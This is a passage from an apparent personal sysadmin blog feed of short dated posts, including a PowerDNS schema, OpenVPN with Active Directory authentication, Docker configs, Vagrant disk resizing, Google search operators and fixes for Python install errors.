 last_check INT DEFAULT NULL,
 type VARCHAR(6) NOT NULL,
 notified_serial INT UNSIGNED DEFAULT NULL,
 account VARCHAR(40) CHARACTER SET 'utf8' DEFAULT NULL,
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE UNIQUE INDEX name_index ON domains(name);


CREATE TABLE records (
 id BIGINT AUTO_INCREMENT,
 domain_id INT DEFAULT NULL,
 name VARCHAR(255) DEFAULT NULL,
 type VARCHAR(10) DEFAULT NULL,
 content VARCHAR(64000) DEFAULT NULL,
 ttl INT DEFAULT NULL,
 prio INT DEFAULT NULL,
 change_date INT DEFAULT NULL,
 disabled TINYINT(1) DEFAULT 0,
 ordername VARCHAR(255) BINARY DEFAULT NULL,
 auth TINYINT(1) DEFAULT 1,
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE INDEX nametype_index ON records(name,type);
CREATE INDEX domain_id ON records(domain_id);
CREATE INDEX ordername ON records (ordername);


CREATE TABLE supermasters (
 ip VARCHAR(64) NOT NULL,
 nameserver VARCHAR(255) NOT NULL,
 account VARCHAR(40) CHARACTER SET 'utf8' NOT NULL,
 PRIMARY KEY (ip, nameserver)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE TABLE comments (
 id INT AUTO_INCREMENT,
 domain_id INT NOT NULL,
 name VARCHAR(255) NOT NULL,
 type VARCHAR(10) NOT NULL,
 modified_at INT NOT NULL,
 account VARCHAR(40) CHARACTER SET 'utf8' DEFAULT NULL,
 comment TEXT CHARACTER SET 'utf8' NOT NULL,
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE INDEX comments_name_type_idx ON comments (name, type);
CREATE INDEX comments_order_idx ON comments (domain_id, modified_at);


CREATE TABLE domainmetadata (
 id INT AUTO_INCREMENT,
 domain_id INT NOT NULL,
 kind VARCHAR(32),
 content TEXT,
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE INDEX domainmetadata_idx ON domainmetadata (domain_id, kind);


CREATE TABLE cryptokeys (
 id INT AUTO_INCREMENT,
 domain_id INT NOT NULL,
 flags INT NOT NULL,
 active BOOL,
 content TEXT,
 PRIMARY KEY(id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE INDEX domainidindex ON cryptokeys(domain_id);


CREATE TABLE tsigkeys (
 id INT AUTO_INCREMENT,
 name VARCHAR(255),
 algorithm VARCHAR(50),
 secret VARCHAR(255),
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE UNIQUE INDEX namealgoindex ON tsigkeys(name, algorithm);

$ sudo systemctl disable systemd-resolved
$ sudo systemctl stop systemd-resolved

$ ls -lh /etc/resolv.conf
lrwxrwxrwx 1 root root 39 Jul 24 15:50 /etc/resolv.conf -> ../run/systemd/resolve/stub-resolv.conf
$ sudo unlink /etc/resolv.conf

$ echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf

Add official PowerDNS repository for Ubuntu 22.04|20.04|18.04.

Set interface IP with netplan on Ubuntu 18.04

Fri, 18 Sep 2020 13:00:05 +0800

Set interface IP with netplan on Ubuntu 18.04

Following the notes above, check /etc/netplan and open /etc/netplan/50-cloud-init.yaml:

# This file is generated from information provided by
# the datasource. Changes to it will not persist across an instance.
# To disable cloud-init's network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
 ethernets:
 ens192:
 dhcp4: true
 ens224:
 dhcp4: true
 version: 2

It looks like you can disable cloud network, but I do not use cloud-init, so remove it:

Deploying OpenVPN with AD domain authentication

Thu, 17 Sep 2020 13:15:33 +0800

# Install OpenVPN
yum install openvpn -y
yum -y install openssl openssl-devel -y
yum -y install lzo lzo-devel -y
yum install -y libgcrypt libgpg-error libgcrypt-devel

# Install OpenVPN auth plugin
yum install openvpn-auth-ldap -y

# Install easy-rsa
# Since openvpn 2.3 removed easy-rsa from the package, install it separately.
yum install easy-rsa
cp -rf /usr/share/easy-rsa/2.0 /etc/opevpn/

# Generate OpenVPN keys and certificates
# Edit `/opt/openvpn/etc/easy-rsa/2.0/vars` parameters
export KEY_COUNTRY="CN" # Country
export KEY_PROVINCE="ZJ" # Province
export KEY_CITY="NingBo" # City
export KEY_ORG="TEST-VPN" # Organization
exportKEY_EMAIL="81367070@qq.com" # Email
export KEY_OU="baidu" # Unit

source vars
./clean-all
./build-ca
./build-dh
./build-key-server server
./build-key client1


# Edit the OpenVPN server config: `/etc/openvpn/server.conf`
port 1194
proto udp
dev tun
ca keys/ca.crt
cert keys/server.crt
key keys/server.key # This file should be kept secret
dh keys/dh2048.pem
server 10.8.0.0 255.255.255.0 // client IP pool
push "route 192.168.1.0 255.255.255.0" // push route to clients
push "redirect-gateway" // change client gateway to route VPN traffic
ifconfig-pool-persist ipp.txt
keepalive 10 120
comp-lzo
persist-key
persist-tun
status openvpn-status.log
verb 3
plugin /usr/lib64/openvpn/plugin/lib/openvpn-auth-ldap.so "/etc/openvpn/auth/ldap.conf"
client-cert-not-required
username-as-common-name
log /var/log/openvpn.log


# Edit openvpn-ldap-auth config: `/etc/openvpn/auth/ldap.conf`
# /etc/openvpn/auth/ldap.conf

<LDAP>
 # LDAP server URL
 # Change to the AD server IP
 URL ldap://172.16.76.238:389

 # Bind DN (If your LDAP server doesn't support anonymous binds)
 # BindDN uid=Manager,ou=People,dc=example,dc=com
 # Change to the domain admin DN; you can query it with ldapsearch
 # Replace the IP in -h with the server IP, -D with the admin DN, -b with the base DN, and * for all
 # ldapsearch -LLL -x -h 172.16.76.238 -D "administrator@xx.com" -W -b "dc=xx,dc=com" "*"
 BindDN "cn=administrator,cn=Users,dc=xx,dc=com"

 # Bind Password
 # Password SecretPassword
 # Domain admin password
 Password passwd

 # Network timeout (in seconds)
 Timeout 15

 # Enable Start TLS
 TLSEnable no

 # Follow LDAP Referrals (anonymously)
 FollowReferrals no

 # TLS CA Certificate File
 # TLSCACertFile /usr/local/etc/ssl/ca.pem

 # TLS CA Certificate Directory
 # TLSCACertDir /etc/ssl/certs

 # Client Certificate and key
 # If TLS client authentication is required
 # TLSCertFile /usr/local/etc/ssl/client-cert.pem
 # TLSKeyFile /usr/local/etc/ssl/client-key.pem

 # Cipher Suite
 # The defaults are usually fine here
 # TLSCipherSuite ALL:!ADH:@STRENGTH
</LDAP>

<Authorization>
 # Base DN
 # Base DN for auth search
 BaseDN "dc=boqii-inc,dc=com"

 # User Search Filter
 # SearchFilter "(&(uid=%u)(accountStatus=active))"
 # sAMAccountName=%u uses the sAMAccountName value as the username,
 # and "memberof=CN=myvpn,DC=xx,DC=com" points to the VPN user group to authenticate,
 # so any user can use VPN once they are in this group.
 SearchFilter "(&(sAMAccountName=%u)(memberof=CN=myvpn,DC=boqii-inc,DC=com))"

 # Require Group Membership
 RequireGroup false

 # Add non-group members to a PF table (disabled)
 # PFTable ips_vpn_users

 <Group>
 # BaseDN "ou=Groups,dc=example,dc=com"
 # SearchFilter "(|(cn=developers)(cn=artists))"
 # MemberAttribute uniqueMember
 # Add group members to a PF table (disabled)
 # PFTable ips_vpn_eng

 BaseDN "ou=vpn,dc=boqii-inc,dc=com"
 SearchFilter "(cn=openvpn)"
 MemberAttribute "member"
 </Group>
</Authorization>

Copy the ca.crt certificate under /etc/openvpn/key for client use.

Docker Tips: Using Docker Config

Mon, 14 Sep 2020 11:13:23 +0800

Docker Tips: Using Docker Config

FROM nginx:1.13.6
COPY nginx.conf /etc/nginx/nginx.conf

Using the Docker CLI, we can create a config from this configuration file, we name this config proxy.

$ docker config create proxy nginx.conf
mdcfnxud53ve6jgcgjkhflg0s

$ docker config inspect proxy
[
 {
 "ID": "x06uaozphg9kbnf8g4az4mucn",
 "Version": {
 "Index": 2723
 },
 "CreatedAt": "2017-11-21T07:49:09.553666064Z",
 "UpdatedAt": "2017-11-21T07:49:09.553666064Z",
 "Spec": {
 "Name": "proxy",
 "Labels": {},
 "Data": "dXNlciB3d3ctZGF0YTsKd29y...ogIgICAgIH0KICAgIH0KfQo="
 }
 }
]

Use a Config

$ docker network create --driver overlay front
$ docker service create --name api --network front lucj/api
$ docker service create --name proxy \
 --network front \
 --config src=proxy,target=/etc/nginx/nginx.conf \
 --port 8000:8000 \
 nginx:1.13.6

Service Update

When the content of a configuration needs to be modified, it’s a common pattern to create a new config (using docker config create), and then to update the service order to remove the access to the previous config, and to add the access to the new one. The service commands are--config-rm and --config-add.

Fortigate Management Interface in HA Mode

Tue, 08 Sep 2020 09:47:47 +0800

Fortigate Management Interface in HA Mode

First you activate the feature

config system ha
set ha-mgmt-status enable
config ha-mgmt-interfaces
edit 1
set interface wan2
set gateway 192.168.147.254
next
end
end

Do not forget to set a default gateway. This interface is isolated and requires its own routing.

Then you assign an individual IP address to every node in the cluster

System1

config system interface
edit wan2
set ip 10.11.101.101/24
set allowaccess https ping ssh snmp
next
end

System2

How to automatically resize virtual box disk with vagrant

Tue, 25 Aug 2020 09:40:34 +0800

Vagrant.configure(2) do |config|
config.vm.box = "centos/7"
config.disksize.size = '20GB'
end

$ sudo parted /dev/sda resizepart 2 100%

$ sudo lvextend -l +100%FREE /dev/centos/root

$ sudo xfs_growfs /dev/centos/root

Automate Part

Vagrant.configure(2) do |config|
common = <<-SCRIPT
sudo parted /dev/sda resizepart 2 100%
sudo pvresize /dev/sda2
sudo lvextend -l +100%FREE /dev/centos/root
sudo xfs_growfs /dev/centos/root
SCRIPT
config.vm.define "node01" do |node1|
node1.vm.hostname = "node01"
node1.vm.network "private_network", ip: "192.168.56.121"
config.vm.provision :shell, :inline => common
end
end

vagrant plugin install vagrant-disksize

Vagrantfile

# Fail if the vagrant-disksize plugin is not installed
unless Vagrant.has_plugin?("vagrant-disksize")
 raise 'vagrant-disksize is not installed!'
end
Vagrant.configure("2") do |config|
 config.vm.provider "virtualbox" do |vb|
 vb.name = "DISKEXTEND"
 vb.memory = 2048
 vb.cpus = 2
 end
 config.vm.define :"DISKEXTEND" do |t|
 end
 config.vm.hostname = "DISKEXTEND"
 config.vm.box = "bento/ubuntu-18.04"
 # Increase the default disk size of the bento image (64GB) to 96GB
 config.disksize.size = "96GB"
 # Run a script on provisioning the box to format the file system
 config.vm.provision "shell", path: "disk-extend.sh"
end

Provisioning Script: disk-extend.sh

#!/bin/bash
echo "> Installing required tools for file system management"
if [ -n "$(command -v yum)" ]; then
 echo ">> Detected yum-based Linux"
 sudo yum makecache
 sudo yum install -y util-linux
 sudo yum install -y lvm2
 sudo yum install -y e2fsprogs
fi
if [ -n "$(command -v apt-get)" ]; then
 echo ">> Detected apt-based Linux"
 sudo apt-get update -y
 sudo apt-get install -y fdisk
 sudo apt-get install -y lvm2
 sudo apt-get install -y e2fsprogs
fi
ROOT_DISK_DEVICE="/dev/sda"
ROOT_DISK_DEVICE_PART="/dev/sda1"
LV_PATH=`sudo lvdisplay -c | sed -n 1p | awk -F ":" '{print $1;}'`
FS_PATH=`df / | sed -n 2p | awk '{print $1;}'`
ROOT_FS_SIZE=`df -h / | sed -n 2p | awk '{print $2;}'`
echo "The root file system (/) has a size of $ROOT_FS_SIZE"
echo "> Increasing disk size of $ROOT_DISK_DEVICE to available maximum"
sudo fdisk $ROOT_DISK_DEVICE <<EOF
d
n
p
1
2048
no
w
EOF
sudo pvresize $ROOT_DISK_DEVICE_PART
sudo lvextend -l +100%FREE $LV_PATH
sudo resize2fs -p $FS_PATH
ROOT_FS_SIZE=`df -h / | sed -n 2p | awk '{print $2;}'`
echo "The root file system (/) has a size of $ROOT_FS_SIZE"
exit 0

Common GitBook plugins

Tue, 18 Aug 2020 09:48:41 +0800

Common GitBook plugins

Google Search Operators: The Complete List (44 Advanced Operators)

Fri, 14 Aug 2020 14:21:06 +0800

Google Search Operators: The Complete List (44 Advanced Operators)

Working

Search operator	What it does	Example
`" "`	Search for results that mention a word or phrase.	`"steve jobs"`
`OR`	Search for results related to X or Y.	`jobs OR gates`
`\|`	Same as `OR`.	`jobs \| gates`
`AND`	Search for results related to X and Y.	`jobs AND gates`
`-`	Search for results that don’t mention a word or phrase.	`jobs -apple`
`*`	Wildcard matching any word or phrase.	`steve * apple`
`( )`	Group multiple searches.	`(ipad OR iphone) apple`
`define:`	Search for the definition of a word or phrase.	`define:entrepreneur`
`cache:`	Find the most recent cache of a webpage.	`cache:apple.com`
`filetype:`	Search for particular types of files (e.g., PDF).	`apple filetype:pdf`
`ext:`	Same as `filetype:`	`apple ext:pdf`
`site:`	Search for results from a particular website.	`site:apple.com`
`related:`	Search for sites related to a given domain.	`related:apple.com`
`intitle:`	Search for pages with a particular word in the title tag.	`intitle:apple`
`allintitle:`	Search for pages with multiple words in the title tag.	`allintitle:apple iphone`
`inurl:`	Search for pages with a particular word in the URL.	`inurl:apple`
`allinurl:`	Search for pages with multiple words in the URL.	`allinurl:apple iphone`
`intext:`	Search for pages with a particular word in their content.	`intext:apple iphone`
`allintext:`	Search for pages with multiple words in their content.	`allintext:apple iphone`
`weather:`	Search for the weather in a location.	`weather:san francisco`
`stocks:`	Search for stock information for a ticker.	`stocks:aapl`
`map:`	Force Google to show map results.	`map:silicon valley`
`movie:`	Search for information about a movie.	`movie:steve jobs`
`in`	Convert one unit to another.	`$329 in GBP`
`source:`	Search for results from a particular source in Google News.	`apple source:the_verge`
`before:`	Search for results from before a particular date.	`apple before:2007-06-29`
`after:`	Search for results from after a particular date.	`apple after:2007-06-29`

Unreliable

Search operator	What it does	Example
`#..#`	Search within a range of numbers.	`iphone case $50..$60`
`inanchor:`	Search for pages with backlinks containing specific anchor text.	`inanchor:apple`
`allinanchor:`	Search for pages with backlinks containing multiple words in their anchor text.	`allinanchor:apple iphone`
`AROUND(X)`	Search for pages with two words or phrases within X words of one another.	`apple AROUND(4) iphone`
`loc:`	Find results from a given area.	`loc:"san francisco" apple`
`location:`	Find news from a certain location in Google News.	`location:"san francisco" apple`
`daterange:`	Search for results from a particular date range.	`daterange:11278-13278`

Not working (officially dropped by Google)

Search operator	What it does	Example
`~`	Include synonyms in the search (dropped 2013).	`~apple`
`+`	Search for results mentioning an exact word or phrase (dropped 2011).	`jobs +apple`
`inpostauthor:`	Search for posts by a specific author in Google Blog Search (discontinued).	`inpostauthor:"steve jobs"`
`allinpostauthor:`	Same as `inpostauthor:`, but removes the need for quotes.	`allinpostauthor:steve jobs`
`inposttitle:`	Search for posts with certain words in the title in Google’s discontinued Blog Search.	`inposttitle:apple iphone`
`link:`	Search for pages linking to a particular domain or URL (dropped 2017).	`link:apple.com`
`info:`	Search for information about a specific page or website (dropped 2017).	`info:apple.com`
`id:`	Same as `info:`	`id:apple.com`
`phonebook:`	Search for someone’s phone number (dropped 2010).	`phonebook:tim cook`
`#`	Search for hashtags on Google+ (dropped 2019).	`#apple`

An easy way to identify virtualization technology

Wed, 29 Jul 2020 21:11:45 +0800

An easy way to identify virtualization technology

`dmidecode -s system-product-name`

Virtualization technology

VMware Workstation

root@router:~# dmidecode -s system-product-name
VMware Virtual Platform

VirtualBox

root@router:~# dmidecode -s system-product-name
VirtualBox

QEMU and KVM

root@router:~# dmidecode -s system-product-name
KVM

QEMU (emulation)

root@router:~# dmidecode -s system-product-name
Bochs

Microsoft Virtual PC

root@router:~# dmidecode | egrep -i 'manufacturer|product'
Manufacturer: Microsoft Corporation
Product Name: Virtual Machine

Virtuozzo

root@router:~# dmidecode
/dev/mem: Permission denied

en

root@router:~# dmidecode | grep -i domU
Product Name: HVM domU

`/dev/disk/by-id`

If you do not have permission to run dmidecode, you can use: ls -1 /dev/disk/by-id/

[Share] Keychain - Pendant from a Type 57 rifle bayonet scabbard

Fri, 10 Jul 2020 12:32:27 +0800

[Share] Keychain - Pendant from a Type 57 rifle bayonet scabbard

SSH certificate login guide

Wed, 08 Jul 2020 13:39:48 +0800

SSH certificate login guide

Before using SSH certificate login, you need to generate certificates. The steps are:

The user and the server both send their public keys to the CA.
The CA uses the server public key to generate a server certificate and sends it to the server.
The CA uses the user public key to generate a user certificate and sends it to the user.

Once certificates are in place, the user can log in. SSH handles the whole process automatically.

How to capture web pages and long screenshots with Chrome DevTools?

Thu, 02 Jul 2020 09:07:34 +0800

How to capture web pages and long screenshots with Chrome DevTools?

Open Chrome DevTools
Click more_vert in the top-right, then choose filter_none to make it a separate window
Ctrl + Shift + P(Command + Shift + P)
Type screenshot
1. Capture area screenshot: area screenshot. After selecting it, your cursor changes to add. Use it to select an area on the page.
2. Capture full size screenshot: long screenshot. It completes automatically after about one second.
3. Capture node screenshot: node screenshot. Similar to a long screenshot, but only visible parts are captured and the rest is blank.
4. Capture screenshot: normal screenshot. It captures the visible page. If DevTools is not in a separate window, the result is affected.

BIRD and BGP: a beginner's kickoff

Mon, 22 Jun 2020 09:38:55 +0800

Introduction to Git internals

Tue, 02 Jun 2020 08:39:08 +0800

Introduction to Git internals

Using Python for multimedia: video, audio, and images

Sun, 31 May 2020 17:48:10 +0800

Using Python for multimedia: video, audio, and images

nginx 添加第三方nginx_upstream_check_module 模块实现健康状态检测

Sun, 26 Apr 2020 20:05:37 +0800

nginx.conf

 http {
 upstream cluster {
 # simple round-robin
 server 192.168.0.1:80;
 server 192.168.0.2:80;

 check interval=5000 rise=1 fall=3 timeout=4000;
 #check interval=3000 rise=2 fall=5 timeout=1000 type=ssl_hello;
 #check interval=3000 rise=2 fall=5 timeout=1000 type=http;
 #check_http_send "HEAD / HTTP/1.0\r\n\r\n";
 #check_http_expect_alive http_2xx http_3xx;
 }
...

 check
 syntax: *check interval=milliseconds [fall=count] [rise=count]
 [timeout=milliseconds] [default_down=true|false]
 [type=tcp|http|ssl_hello|mysql|ajp|fastcgi]*

 默认配置：interval=3000 fall=5 rise=2 timeout=1000 default_down=true type=tcp*
...

interval：检测间隔 3 秒
fall: 连续检测失败次数 5 次时，认定 relaserver is down
rise: 连续检测成功 2 次时，认定 relaserver is up
timeout: 超时 1 秒
default_down: 初始状态为 down,只有检测通过后才为 up
type: 检测类型方式 tcp
1. tcp :tcp 套接字,不建议使用，后端业务未 100%启动完成,前端已经放开访问的情况
2. ssl_hello：发送 hello 报文并接收 relaserver 返回的 hello 报文
3. http: 自定义发送一个请求，判断上游 relaserver 接收并处理
4. mysql: 连接到 mysql 服务器，判断上游 relaserver 是否还存在
5. ajp: 发送 AJP Cping 数据包，接收并解析 AJP Cpong 响应以诊断上游 relaserver 是否还存活(AJP tomcat 内置的一种协议)
6. fastcgi: php 程序是否存活

example

CS Visualized: Useful Git Commands

Thu, 16 Apr 2020 20:20:16 +0800

CS Visualized: Useful Git Commands

string field was converted to True (type string)

Wed, 15 Apr 2020 21:34:09 +0800

Surprisingly, you can view images in the Linux CLI?

Tue, 14 Apr 2020 22:01:02 +0800

Surprisingly, you can view images in the Linux CLI?

FIM

sudo apt-get install fim

Common shortcuts for images in FIM:

PageUp / Down: previous/next image
+/-: zoom in/out
a: auto scale
w: fit width
h: fit height
j / k: pan down/up
f / m: flip/mirror
r / R: rotate (clockwise/counterclockwise)
ESC / q: quit

Viu

cargo install viu

Lsix

sudo apt-get install imagemagick

wget https://github.com/hackerb9/lsix/archive/master.zip

How to deploy on remote Docker hosts with docker-compose

Wed, 25 Mar 2020 19:30:54 +0800

How to deploy on remote Docker hosts with docker-compose

Manual deployment by copying project files, install docker-compose and running it

$ scp -r hello-docker user@remotehost:/path/to/src
$ ssh user@remotehost
$ pip install docker-compose
$ cd /path/to/src/hello-docker
$ docker-compose up -d

Using DOCKER_HOST environment variable to set up the target engine

$ cd hello-docker
$ DOCKER_HOST="ssh://user@remotehost" docker-compose up -d

Using docker contexts

$ docker context create remote ‐‐docker "host=ssh://user@remotemachine"
remote
Successfully created context "remote"

$ docker context ls
NAME DESCRIPTION DOCKER ENDPOINT KUBERNETES ENDPOINT ORCHESTRATOR
default * Current DOCKER_HOST… unix:///var/run/docker.sock swarm
remote ssh://user@remotemachine

$ cd hello-docker
$ docker-compose ‐‐context remote up -d

Basic kubeadm usage notes (by request)

Tue, 24 Mar 2020 16:00:34 +0800

Vim Tips - Edit Remote Files With Vim On Linux

Sat, 14 Mar 2020 15:43:38 +0800

Vim Tips - Edit Remote Files With Vim On Linux

Edit remote files with Vim on Linux

$ vim scp://sk@192.168.225.22/info.txt

user@remotesystem:port (E.g. sk@192.168.225.22)
Single slash (/) - If you want to edit a file that is stored in the $HOME directory of a remote system, you must use a trailing slash to separate remote system’s IP address or hostname from the file path.
Double slashes (//) - To specify full path of a file, you must use double slashes. For example, let us say you are editing a file named info.txt that is located in /home/sk/Documents/ directory of your remote system. In this case, the command would be: vim scp://sk@192.168.225.22//home/sk/Documents/info.txt

Python install module issues

Wed, 04 Mar 2020 15:43:38 +0800

I can’t install python-ldap

python-ldap

https://www.python-ldap.org/en/latest/installing.html

$ pip install python-ldap
In file included from Modules/LDAPObject.c:9:


Modules/errors.h:8: fatal error: lber.h: No such file or directory

Debian/Ubuntu: sudo apt-get install libsasl2-dev python-dev libldap2-dev libssl-dev
RedHat/CentOS:

sudo yum install python-devel openldap-devel
sudo yum groupinstall "Development tools"

molecule

$ pip install molecule
error: command 'gcc' failed with exit status 1


 ----------------------------------------
Command "/usr/bin/python2 -u -c "import setuptools, tokenize;__file__='/tmp/pip-install-I5DGC3/psutil/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-record-Fy7V4X/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-install-I5DGC3/psutil/

RedHat/CentOS:

yum -y install gcc gcc-c++ kernel-devel
yum -y install python-devel libxslt-devel libffi-devel openssl-devel

ansible

$ pip install ansible
ImportError: No module named pkg_resources

yum install -y python-setuptools

`import pandas`

ModuleNotFoundError: No module named '_bz2'

apt-get install -y libbz2-dev
yum install -y bzip2-devel

`from .cv2 import *`

ImportError: libSM.so.6: cannot open shared object file: No such file or directory
ImportError: libXrender.so.1: cannot open shared object file: No such file or directory
ImportError: libXext.so.6: cannot open shared object file: No such file or directory

Ubuntu:

apt-get install libsm6
apt-get install libxrender1
apt-get install libxext-dev

CentOS:

yum install libSM
yum install libXrender-devel
yum install libXext

vagrant筆記

Wed, 26 Feb 2020 10:52:19 +0800

1 General 1.1 Path 下載的 box 預設放在~/.vagrant.d/boxes 裡 guest machine 的 data 放的地方根據 VM 設定而不同可開啟 VirtualBox 查看，VirtualBox 預設是在~/VirtualBox\ VMS

1.2 Shared Folder guest machine 的/vagrant 將會自動 mount 到 host machine 的放 Vagrantfile 的那個 folder 此功能需要 guest machine 的 Box 的 VB guest additions 版本與 VM 中的一樣若出現錯誤則需要更新 box 或用這個非官方的 plugin: https://github.com/dotless-de/vagrant-vbguest

2 Uninstall 2.1 REMOVING THE VAGRANT PROGRAM

rm -rf /Applications/Vagrant
rm -f /usr/bin/vagrant
sudo pkgutil --forget com.vagrant.vagrant

2.2 REMOVING USER DATA rm -rf ~/.vagrant.d 3 Command https://www.vagrantup.com/docs/cli/

Cannot set command timeout per task with network_cli

Tue, 14 Jan 2020 16:34:03 +0800

- name: run command
 ios_command:
 commands:
 - show version
 vars:
 ansible_command_timeout: 40

How to Create Temporary Files in Bash: mktemp and trap

Mon, 30 Dec 2019 14:31:45 +0800

How to Create Temporary Files in Bash: mktemp and trap

`mktemp` command

The generated temp file name is random and readable/writable only by the user.
To ensure creation succeeds, append OR (||) after mktemp to exit on failure.
To delete temp files on script exit, use trap to register cleanup.

#!/bin/bash

trap 'rm -f "$TMPFILE"' EXIT

TMPFILE=$(mktemp) || exit 1
echo "Our temp file is $TMPFILE"

mktemp options

-d creates a temporary directory.
-p specifies the directory for temp files. Default is $TMPDIR. If not set, /tmp is used.
-t specifies a filename template. The template must end with at least three consecutive X characters for randomness; six X are recommended. The default template is tmp. followed by ten random characters.

`trap` usage

The trap command handles system signals in Bash scripts.

Getting Started with GitHub Actions

Mon, 23 Dec 2019 10:16:01 +0800

Getting Started with GitHub Actions

How Does Nginx Defend Against DDoS?

Fri, 20 Dec 2019 09:42:50 +0800

ngx_http_limit_req_module

limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;

Golang Service Exceeded File Handle Limit (too many open files)

Mon, 16 Dec 2019 10:14:33 +0800

Golang Service Exceeded File Handle Limit (too many open files)

Check system config: ulimit -a | grep open. The system config is normal.
Check the service file limit: cat /proc/40636/limits. The service did not inherit the system settings and is still limited to 1024.
Check open file count: lsof -p 40636 | wc -l. It exceeds the limit, so the error occurs.
Check which connections are open: lsof -p 40636 > openfiles.log. Many HTTP connections were left open to the alerting service. The root cause is that the app failed to parse config, sent errors to the alerting service, and did not close connections, leading to too many open files. Why it did not inherit system limits needed more investigation.

Trellis Ansible Bad Interpreter Error

Fri, 06 Dec 2019 22:34:31 +0800

Trellis Ansible Bad Interpreter Error

Bad Interpreter Error

Error we got using Ansible was a bad interpreter error. Python 2.7 is not to be found:

zsh: /usr/local/bin/ansible-vault: bad interpreter: /usr/local/opt/python@2/bin/python2.7: no such file or directory

And that was correct because when we checked /usr/local/opt we only had Python 3.

Installation Python 2

brew install python@2

Python Crashing Hard

Next, on Ansible version check I got another error

➜ trellis git:(master) ansible --version
[1] 19153 abort ansible --version

It was somehow crashing Python 2.7 though it should just work with it. I decided to upgrade Ansible as well

Load Balancing with iptables and ip rule

Wed, 04 Dec 2019 11:08:04 +0800

Load Balancing with iptables and ip rule

Steps

This example uses an Arch Linux device with two Internet uplinks: eth0 and eth1. The mapping is:

Mark 10 (0xa) - Routing table #110 - use eth0
Mark 11 (0xb) - Routing table #111 - use eth1

We decide which uplink to use based on the packet mark. First, use ip rule to map each mark to its routing table.

The default routing table priority is 32768. To ensure our tables are used, set a higher priority (for example 31000).

htop explained

Thu, 14 Nov 2019 10:05:35 +0800

htop explained

Some Jenkinsfile examples

Wed, 06 Nov 2019 17:29:46 +0800

Some Jenkinsfile examples

Parallel

#!/usr/bin/env groovy
pipeline {
agent any
stages {
stage("Build") {
steps {
sh 'mvn -v'
}
}
stage("Testing") {
parallel {
stage("Unit Tests") {
agent { docker 'openjdk:7-jdk-alpine' }
steps {
sh 'java -version'
}
}
stage("Functional Tests") {
agent { docker 'openjdk:8-jdk-alpine' }
steps {
sh 'java -version'
}
}
stage("Integration Tests") {
steps {
sh 'java -version'
}
}
}
}
stage("Deploy") {
steps {
echo "Deploy!"
}
}
}
}

When

#!/usr/bin/env groovy
pipeline {
agent any
environment {
VALUE_ONE = '1'
VALUE_TWO = '2'
VALUE_THREE = '3'
}
stages {
// skip a stage while creating the pipeline
stage("A stage to be skipped") {
when {
expression { false } //skip this stage
}
steps {
echo 'This step will never be run'
}
}
// Execute when branch = 'master'
stage("BASIC WHEN - Branch") {
when {
branch 'master'
}
steps {
echo 'BASIC WHEN - Master Branch!'
}
}
// Expression based when example with AND
stage('WHEN EXPRESSION with AND') {
when {
expression {
VALUE_ONE == '1' && VALUE_THREE == '3'
}
}
steps {
echo 'WHEN with AND expression works!'
}
}
// Expression based when example
stage('WHEN EXPRESSION with OR') {
when {
expression {
VALUE_ONE == '1' || VALUE_THREE == '2'
}
}
steps {
echo 'WHEN with OR expression works!'
}
}
// When - AllOf Example
stage("AllOf") {
when {
allOf {
environment name:'VALUE_ONE', value: '1'
environment name:'VALUE_TWO', value: '2'
}
}
steps {
echo "AllOf Works!!"
}
}
// When - Not AnyOf Example
stage("Not AnyOf") {
when {
not {
anyOf {
branch "development"
environment name:'VALUE_TWO', value: '4'
}
}
}
steps {
echo "Not AnyOf - Works!"
}
}
}
}

Jinja docx template, avoiding new line in nested for

Tue, 29 Oct 2019 10:17:35 +0800

Jinja docx template, avoiding new line in nested for

What the f*ck Python! 🐍

Fri, 11 Oct 2019 14:32:20 +0800

What the f*ck Python! 🐍

Fighting ISP Cache Hijacking Again with iptables

Mon, 07 Oct 2019 10:41:08 +0800

Fighting ISP Cache Hijacking Again with iptables

Cause

The fight against the carrier cache problem started two years ago. The carrier even cached cnpm data. Worse, their cache servers were not only slow like a turtle in a marathon, they also crashed frequently, so I just wanted to write code but had to face a wall of red errors.

Fix

iptables -I FORWARD -p tcp -m tcp -m ttl --ttl-gt 20 -m ttl --ttl-lt 30 -j DROP

Use Nginx and mod_pagespeed to Convert Images to WebP on the Fly

Mon, 07 Oct 2019 10:35:22 +0800

Use Nginx and mod_pagespeed to Convert Images to WebP on the Fly

Compile ngx_pagespeed

First make sure Nginx is built with --with-compat, so we do not need to rebuild Nginx from scratch.

incubator: https://github.com/apache/incubator-pagespeed-ngx.git

# Switch to the nginx source directory and configure the build
./configure --with-compat --add-dynamic-module=../incubator-pagespeed-ngx

# Build modules
make modules

# Copy the built module into the nginx modules directory
sudo cp objs/ngx_pagespeed.so /etc/nginx/modules/

# Create the cache directory for converted images
sudo mkdir -p /var/ngx_pagespeed_cache
sudo chown -R www-data:www-data /var/ngx_pagespeed_cache

load_module modules/ngx_pagespeed.so;


# enable pagespeed module on this server block
pagespeed on;

# Needs to exist and be writable by nginx. Use tmpfs for best performance.
pagespeed FileCachePath /var/ngx_pagespeed_cache;

# Ensure requests for pagespeed optimized resources go to the pagespeed handler
# and no extraneous headers get set.
location ~ "\.pagespeed\.([a-z]\.)?[a-z]{2}\.[^.]{10}\.[^.]+" {
 add_header "" "";
}
location ~ "^/pagespeed_static/" { }
location ~ "^/ngx_pagespeed_beacon$" { }

pagespeed RewriteLevel CoreFilters;

The last line (pagespeed RewriteLevel CoreFilters;) specifies the enabled optimizations. It includes basic filters such as:

Is there a regular expression to detect a valid regular expression?

Fri, 04 Oct 2019 14:44:38 +0800

Is there a regular expression to detect a valid regular expression?

This is a recursive regex, and is not supported by many regex engines. PCRE based ones should support it.

/
